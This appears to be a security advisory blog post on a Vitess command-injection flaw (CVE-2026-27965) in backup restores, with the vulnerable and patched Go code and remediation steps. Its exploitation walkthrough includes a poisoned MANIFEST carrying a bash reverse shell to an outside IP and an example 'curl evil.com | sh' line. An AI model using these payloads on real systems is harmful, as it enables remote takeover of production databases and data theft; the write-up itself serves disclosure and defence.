Manifest Destiny: How Vitess Backups Became a Shell-Popping Paradise

If you are running MySQL at a scale where a single instance just doesn't cut it anymore, you are likely using Vitess. It's the clustering system that shards your data across thousands of nodes, making massive scale possible. One of the core promises of Vitess is resilience—if a tablet (a Vitess database instance) dies, another one spins up, pulls a backup from object storage (like AWS S3 or Google Cloud Storage), and gets back to work. Ideally, this happens automatically, without human intervention.

But here is the rub: automation requires trust. The Vitess restore process inherently trusts the data sitting in your object storage bucket. It assumes that if a file is in your S3 bucket, you put it there, and it is safe to process. CVE-2026-27965 challenges that assumption in the most violent way possible.

Imagine a scenario where an attacker compromises a service account that has write access to your S3 backup bucket, but not your production database. In a secure architecture, this should be an annoyance—maybe they delete backups or corrupt data. But thanks to this vulnerability, that limited S3 access can be pivoted directly into Remote Code Execution (RCE) on your production database clusters. It is a classic example of 'data-driven attacks'—where the data itself carries the weapon.

To understand the flaw, we have to look at how Vitess handles compression. Backups are heavy; you don't store raw SQL dumps on S3 if you care about your bill. You compress them. To keep track of how a backup was compressed, Vitess generates a MANIFEST file (JSON format) alongside the backup artifacts. This file contains metadata like the backup time, the position, and—critically—the ExternalDecompressor command.

The logic was simple: 'Hey, when I restore this, what command should I run to decompress it?' The developer's intention was likely flexibility. Maybe you use gzip, maybe zstd, maybe some custom proprietary tool. So, the code was written to read the ExternalDecompressor string from the manifest and pass it to the operating system for execution.

Here is where the logic falls apart. The code treated the MANIFEST file as a trusted configuration source. It did not sanitize the input. It did not validate that the command was a known binary (like tar or zstd). It simply took the string—whatever it was—and executed it. If the manifest said zstd -d, it ran that. If the manifest said bash -c 'curl evil.com | sh', it ran that too.

This is a textbook case of CWE-78 (OS Command Injection), but with a twist. The injection vector isn't a user form or an HTTP header; it's a file sitting in 'cold' storage, waiting for a 'hot' process to wake it up and execute it.

Let's dig into the Go code that made this possible. The vulnerability resided in go/vt/mysqlctl/builtinbackupengine.go. The engine needed to determine which decompressor to use. It checked if a local flag was set; if not, it fell back to the manifest.

The Vulnerable Code (Pre-Patch)

// builtinbackupengine.go
 
// 1. Load the manifest from storage
manifest, err := readManifest(ctx, backupHandle)
 
// 2. Check for local configuration override
externalDecompressorCmd := ExternalDecompressorCmd
 
// 3. THE BUG: Fallback to untrusted input
if externalDecompressorCmd == "" && manifest.ExternalDecompressor != "" {
    // If the admin didn't strictly specify a decompressor on the CLI,
    // use whatever the JSON file says.
    externalDecompressorCmd = manifest.ExternalDecompressor
}
 
// 4. Execute
cmd := exec.Command("sh", "-c", externalDecompressorCmd)
cmd.Run()

See the issue? If the administrator hadn't explicitly hardcoded a decompressor in the vttablet arguments (which is common, as defaults are convenient), the code happily accepts the manifest's suggestion. It hands control of the execution flow to the storage layer.

The Fix (Commit 4c01732)

The patch changes the philosophy: Trust Local, Verify Remote. The developers introduced a new flag, --external-decompressor-use-manifest, which defaults to false. Without this flag explicitly set to true, the manifest's command is ignored.

// The patched logic
func resolveExternalDecompressor(manifestDecompressor string) string {
    // Priority 1: Local Configuration (Safe)
    if ExternalDecompressorCmd != "" {
        return ExternalDecompressorCmd
    }
 
    // Priority 2: Manifest (Only if explicitly opted-in)
    if ExternalDecompressorUseManifest && manifestDecompressor != "" {
        return manifestDecompressor
    }
 
    // Default: Reject
    return ""
}

This seemingly small boolean check effectively kills the attack vector by enforcing a "secure by default" posture.

Exploiting this requires patience and access, but the payoff is massive. The attacker doesn't need to touch the database directly; they just need to poison the well.

Prerequisites: Write access to the S3 bucket (or GCS/MinIO) where backups are stored.

Step 1: Reconnaissance

First, the attacker lists the bucket contents to find a valid backup directory. They are looking for the MANIFEST file.

aws s3 ls s3://vitess-backups/keyspace/shard-80-c0/
# Output: 2026-02-23.120000/MANIFEST

Step 2: The Poison Pill

The attacker downloads the MANIFEST file. It's just JSON. They locate the ExternalDecompressor key.

Original (Safe):

{
  "BackupName": "2026-02-23.120000",
  "ExternalDecompressor": "zstd -d"
}

Modified (Weaponized):

{
  "BackupName": "2026-02-23.120000",
  "ExternalDecompressor": "bash -c 'nohup bash -i >& /dev/tcp/10.0.0.66/1337 0>&1 &'"
}

Step 3: The Trap is Set

The attacker uploads the modified MANIFEST back to S3, overwriting the original.

Step 4: Execution

The attacker waits. Eventually, a node will restart, a new pod will scale up, or an admin will manually trigger a restore using vtctl RestoreTablet. When the vttablet process pulls down that backup to initialize its data directory, it parses the JSON and executes the reverse shell payload. The attacker now has a shell inside the production database pod, likely with access to the mounted persistent volumes containing the actual database files.

Why is this severity 'High' (CVSS 8.4) and not 'Critical'? Only because it requires High Privileges (access to the bucket). However, in many cloud environments, the 'Backup Bucket' is often less guarded than the database itself. Developers might have write access to S3 for debugging, or a CI/CD pipeline might have permissions to push artifacts there.

If exploited, the consequences are catastrophic:

1. Data Exfiltration: The attacker is inside the database container. They can simply cat the raw data files or use the local mysql client to dump the entire dataset and stream it out.
2. Lateral Movement: Vitess runs in clusters. Compromising one tablet often provides network access to the Topology Service (etcd/ZooKeeper) and other tablets.
3. Persistence: The attacker could modify the backup data itself (the .csv or .sql files) to insert backdoors into the database rows, which will then be served to the application users once the restore completes.

This vulnerability bridges the gap between 'Infrastructure' (S3) and 'Application' (Database), turning a storage permission issue into a full system compromise.

The remediation path is straightforward but requires action on both the software and infrastructure levels.

1. Patch the Binary

Upgrade your Vitess control plane and tablets immediately.

• Affected: < 22.0.4, >= 23.0.0, < 23.0.3
• Safe: 22.0.4, 23.0.3+

2. Verify Configuration

After patching, ensure you do not enable the new flag --external-decompressor-use-manifest unless you have a specific, secured reason to do so. The default is false, which is safe.

If you use an external decompressor (like lz4 or zstd), specify it explicitly in your vttablet arguments:

# Safe Configuration
--external-decompressor "zstd -d"

This ensures the command is hardcoded in your pod spec, not read from a mutable JSON file.

3. Lockdown Storage

Review your IAM policies for the backup buckets. Only the Vitess service account should have s3:PutObject permissions. Developers and CI tools should generally have Read-Only access to production backups.